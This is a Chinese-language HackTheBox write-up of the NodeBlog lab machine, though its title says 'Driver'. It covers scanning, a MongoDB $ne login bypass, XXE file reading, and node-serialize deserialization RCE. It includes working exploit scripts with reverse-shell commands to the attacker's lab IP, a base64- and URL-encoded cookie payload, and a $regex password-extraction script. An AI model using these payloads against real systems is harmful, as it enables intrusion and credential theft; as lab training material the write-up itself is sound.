前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >HackTheBox - Machines - Driver

HackTheBox - Machines - Driver

作者头像
kam1
发布2022-03-09 08:29:45
1.3K0
发布2022-03-09 08:29:45
举报

Hack The Box - Machines - NodeBlog

靶机:10.10.11.139 攻击机:10.10.14.28

1. 信息搜集

代码语言:javascript
复制
C:\\Users\\kami\\Desktop>nmap -sS -sC -sV -A -p- 10.10.11.139  
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-07 19:06 中国标准时间  
Nmap scan report for 10.10.11.139  
Host is up (0.28s latency).  
Not shown: 65533 closed tcp ports (reset)  
PORT     STATE SERVICE VERSION  
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)  
| ssh-hostkey:  
|   3072 ea:84:21:a3:22:4a:7d:f9:b5:25:51:79:83:a4:f5:f2 (RSA)  
|   256 b8:39:9e:f4:88:be:aa:01:73:2d:10:fb:44:7f:84:61 (ECDSA)  
|\_  256 22:21:e9:f4:85:90:87:45:16:1f:73:36:41:ee:3b:32 (ED25519)  
5000/tcp open  http    Node.js (Express middleware)  
|\_http-title: Blog  
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).  
TCP/IP fingerprint:  
OS:SCAN(V=7.92%E=4%D=3/7%OT=22%CT=1%CU=38883%PV=Y%DS=2%DC=T%G=Y%TM=6225E896  
OS:%P=i686-pc-windows-windows)SEQ(SP=106%GCD=1%ISR=109%TI=Z%CI=Z%II=I%TS=A)  
OS:OPS(O1=M508ST11NW7%O2=M508ST11NW7%O3=M508NNT11NW7%O4=M508ST11NW7%O5=M508  
OS:ST11NW7%O6=M508ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)  
OS:ECN(R=Y%DF=Y%T=40%W=FAF0%O=M508NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%  
OS:F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T  
OS:5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=  
OS:Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF  
OS:=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40  
OS:%CD=S)  
  
Network Distance: 2 hops  
Service Info: OS: Linux; CPE: cpe:/o:linux:linux\_kernel  
  
TRACEROUTE (using port 1720/tcp)  
HOP RTT       ADDRESS  
1   281.00 ms 10.10.14.1  
2   282.00 ms 10.10.11.139  
  
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
代码语言:javascript
复制
E:\\信息搜集\\目录扫描\\dirsearch-master>python dirsearch.py --random-agent --exclude-status 400,401,403,404,500,503 -e \* -  
u http://10.10.11.139:5000/  
  
 \_|. \_ \_  \_  \_  \_ \_|\_    v0.4.2  
 (\_||| \_) (/\_(\_|| (\_| )  
  
Extensions: php, jsp, asp, aspx, do, action, cgi, pl, html, htm, js, json, tar.gz, bak | HTTP method: GET | Threads: 30  
Wordlist size: 15492  
  
Output File: E:\\信息搜集\\目录扫描\\dirsearch-master\\reports\\10.10.11.139-5000\\-\_22-03-07\_19-16-08.txt  
  
Error Log: E:\\信息搜集\\目录扫描\\dirsearch-master\\logs\\errors-22-03-07\_19-16-08.log  
  
Target: http://10.10.11.139:5000/  
  
\[19:16:09\] Starting:  
\[19:18:11\] 200 - 1002B  - /login  
\[19:18:12\] 200 - 1002B  - /login/

由nmap和dirsearch扫描出来的结果为:靶机是Ubuntu开放22 SSH端口和5000端口,5000端口是nodejs web,经过目录扫描之后只有一个login页面

这里提示账号错误,得到用户名为admin ,密码经过Burp爆破之后无果,无sql注入,首页页面源代码有一个这样的东西:

等下来回头来看这个,点击read more 可以看到有几个链接,指向不同的网站。

分别为:Homepage、土耳其语言和英语版本的TwitchYoutubeDiscordTwitter

除了HomePage以外,其他的都指向了本靶机作者的各个平台的个人首页

打开homepage翻译之后页面如下:

看起来此域尚未连接到网站,只需要几个简单的步骤即可将其连接到您的wix网站....

本来还以为是域名劫持,但是不对劲呀,不可能是这样的呀,而且这都也已经跳出靶场范围了。

再看一下wappalyzer插件分析,站是有nodejs express构建的,先去找一下有没有对应的exp。

2. 漏洞利用

找到一个反序列化漏洞CVE-2017-5941

exp如下:

代码语言:javascript
复制
import requests
import re
import base64
import sys

url = 'http://10.10.11.139:5000/' # change this

payload = ("require('http').ServerResponse.prototype.end = (function (end) {"
"return function () {"
"['close', 'connect', 'data', 'drain', 'end', 'error', 'lookup', 'timeout', ''].forEach(this.socket.removeAllListeners.bind(this.socket));"
"console.log('still inside');"
"const { exec } = require('child_process');"
"exec('bash -i >& /dev/tcp/10.10.14.28/1234 0>&1');" # change this
"}"
"})(require('http').ServerResponse.prototype.end)")

# rce = "_$$ND_FUNC$$_process.exit(0)"
# code ="_$$ND_FUNC$$_console.log('behind you')"
code = "_$$ND_FUNC$$_" + payload

string = '{"username":"TheUndead","country":"worldwide","city":"Tyr", "exec": "'+code+'"}'

cookie = {'profile':base64.b64encode(string)}

try:
    response = requests.get(url, cookies=cookie).text
    print response
except requests.exceptions.RequestException as e:
    print('Oops!')
    sys.exit(1)

但是经过运行之后发现并没有什么作用。

走投无路了属于是,后面看了一下作者的youtube,才知道姿势不正确。

0x01. Mangodb绕过身份验证

来到登录页面,由于之前的尝试,现在已经知道用户名为admin

靶机本身登录传参是post传参,但因为靶机web是nodejs构建起来的,所以传参方式可以改为json格式,也直接post传参,并且nodejs通常使用的是MangoDB

现在将登录表单的传参改为json格式

可以看到json格式传输的数据也被服务器所接收,来试试MangoDB中的ne ,参考:ne

官方文档有说明:$ne选择的值,不等于指定的值

payload即当password不等于admin 的时候返回真,所以这里直接登录进入后台了,在响应包的头部可以看到Set-Cookie,通常登录成功之后都会出现这样一个字段

密码到最后再来尝试写python脚本进行正则匹配爆破一波。

从返回的数据包中可以看到有一个upload xml的功能,没登录之前就写在页面源代码里面,登录之后就看到有upload了。

此时回到web页面,抓取登录数据包,修改为json格式,再放过去即可。

成功进入后台

0x02. XML注入(XXE)

经过查看页面源代码已经知道了这里可以上传xml文件,那么是否可以进行xxe

先新建一篇文章,内容随便写,然后save,但是在保存的时候这里报错了。

报错好啊,报错就能知道绝对路径了。

opt/blog/viewsopt/blog/node_modules/express/lib/

回到上传点,点击上传,先上传一个图片格式的文件

从这里返回的数据包也可以看到,这里提示是需要xml格式

本地构造一个xml文件,让其去读取/etc/passwd文件的内容

成功读取到了/etc/passwd的内容,xxe存在,接下来需要拿shell,我想到读取etc/shadow文件然后进行破解。

但是进行尝试之后发现:

将passwd换成shadow之后就报错了,可能是没有高权限,现在是低权限用户。

0x03. Get User Shell

想到之前的报错页面,获取到了nodejs的路径,或许可以尝试进行读取nodejs的配置文件

/opt/blog/server.js

读取到了server.jsapp.jsmain.js读取的时候页面报错,证明是不存在的

这时候来看看这个server.js,可以看到源码中有一个serialize nodejs的序列化。

接下来就需要看到nodejs的unserialize vulnerabilities漏洞了

payload: _

ND_FUNC

_function (){require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });}()

将这一段拼接到cookie里面,将命令替换为反弹shll的命令即可

代码语言:javascript
复制
exploit:  
  
{"user":"admin","sign":"23e112072945418601deb47d9a6c7de8","kami":"\_$$ND\_FUNC$$\_function (){require(\\"child\_process\\").exec(\\"echo -n YmFzaCAtaSAgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMjguMTIzNCAwPiYx | base64 -d | bash  
 \\", function(error, stdout, stderr) { console.log(stdout) });}()"}  

注意这里函数里面的字符串用双引号括起来,并且最终语句进行url编码  即:   
%7b%22%75%73%65%72%22%3a%22%61%64%6d%69%6e%22%2c%22%73%69%67%6e%22%3a%22%32%33%65%31%31%32%30%37%32%39%34%35%34%31%38%36%30%31%64%65%62%34%37%64%39%61%36%63%37%64%65%38%22%2c%22%6b%61%6d%69%22%3a%22%5f%24%24%4e%44%5f%46%55%4e%43%24%24%5f%66%75%6e%63%74%69%6f%6e%20%28%29%7b%72%65%71%75%69%72%65%28%5c%22%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%5c%22%29%2e%65%78%65%63%28%5c%22%65%63%68%6f%20%2d%6e%20%59%6d%46%7a%61%43%41%74%61%53%41%67%50%69%59%67%4c%32%52%6c%64%69%39%30%59%33%41%76%4d%54%41%75%4d%54%41%75%4d%54%51%75%4d%6a%67%76%4d%54%49%7a%4e%43%41%67%4d%44%34%6d%4d%51%3d%3d%20%7c%20%62%61%73%65%36%34%20%2d%64%20%7c%20%62%61%73%68%20%5c%22%2c%20%66%75%6e%63%74%69%6f%6e%28%65%72%72%6f%72%2c%20%73%74%64%6f%75%74%2c%20%73%74%64%65%72%72%29%20%7b%20%63%6f%6e%73%6f%6c%65%2e%6c%6f%67%28%73%74%64%6f%75%74%29%20%7d%29%3b%7d%28%29%22%7d  

来到/opt/blog/dump/blog目录下,可以看到之前web页面的登录用户的密码

提权先等下,先找到用户flag,来到admin用户的目录下 查看user.txt即为flag

3. Get Root Shell

同样,为了获取root的flag需要进行权限提升

sudo -l ,提示输入密码,用刚刚的admin密码尝试成功

权限还挺高 ALL

root flag.

4. MangoDB注入猜解密码

使用$regex正则表达式来逐一猜解admin用户的密码

代码语言:javascript
复制
import string
import sys
import requests
import json
# burp调试
proxy = {
    'http': 'http://127.0.0.1:8080',
    'https': 'http://127.0.0.1:8080'
}
header = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577'
                  '.82 Safari/537.36'
}


def login(pwd):
    # 拼接参数
    payload = '{"$regex": "%s"}' % pwd
    # 将payload加入到data数据中的password字段
    data = {"user": "admin", "password": json.loads(payload)}
    # 登录请求
    response = requests.post("http://10.10.11.139:5000/login", json=data, headers=header)
    # 页面返回密码不正确就false结束
    if "Invalid Password" in response.text:
        return False
    return True


if __name__ == "__main__":
    # 以xxx开头 正则表达式 ^
    password = '^'
    stop = False
    while stop == False:
        # 循环遍历 ascii
        for i in string.ascii_letters:
            # 打印要尝试的密码
            sys.stdout.write(f"\r{password}{i}")
            # 如果登录成功,就将对应的字母打印出来
            if login(f"{password}{i}"):
                password += i
                # 避免陷入死循环,第二次登录使用密码登录且使用正则表达式$结尾
                if login(f"{password}$"):
                    sys.stdout.write(f"\r{password}\r\n")
                    sys.stdout.flush()
                    stop = True
                    break
                break
本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2022-03-08,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • Hack The Box - Machines - NodeBlog
    • 1. 信息搜集
      • 2. 漏洞利用
        • 0x01. Mangodb绕过身份验证
        • 0x02. XML注入(XXE)
        • 0x03. Get User Shell
      • 3. Get Root Shell
        • 4. MangoDB注入猜解密码
        相关产品与服务
        多因子身份认证
        多因子身份认证(Multi-factor Authentication Service,MFAS)的目的是建立一个多层次的防御体系,通过结合两种或三种认证因子(基于记忆的/基于持有物的/基于生物特征的认证因子)验证访问者的身份,使系统或资源更加安全。攻击者即使破解单一因子(如口令、人脸),应用的安全依然可以得到保障。
        领券
        问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档